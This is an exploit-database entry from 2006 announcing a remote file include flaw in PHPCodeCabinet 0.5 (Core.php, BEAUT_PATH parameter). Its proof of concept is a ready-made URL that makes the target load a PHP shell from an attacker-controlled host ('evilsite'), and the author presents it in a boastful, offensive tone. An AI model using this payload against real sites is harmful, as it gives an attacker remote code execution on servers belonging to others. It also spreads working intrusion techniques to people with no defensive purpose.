PHPCodeCabinet <= 0.5 (Core.php) Remote File Include Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : PHPCodeCabinet <= 0.5 (Core.php) Remote File Include Vulnerability
# Published : 2006-08-07
# Author : Minion
# Previous Title : YenerTurk Haber Script 1.0 Remote SQL Injection Vulnerability
# Next Title : Visual Events Calendar 1.1 (cfg_dir) Remote Include Vulnerability

>From Minion:

PHPCodeCabinet (all versions) is vulnerable to a remote file include.

The vulnerable code is in /include/Beautifier/Core.php

an $BEAUT_PATH Was not properly scrubbed, so they got owned.

Proof of concept:

http://target/phpcodecabinet_directory/include/Beautifier/Core.php?BEAUT_PATH=*evilsite*/Beautifier/HFile.php

HFile.php would be your php shell.

Shouts to XoRcrew & Disruptiv.

# www.Syue.com [2006-08-07]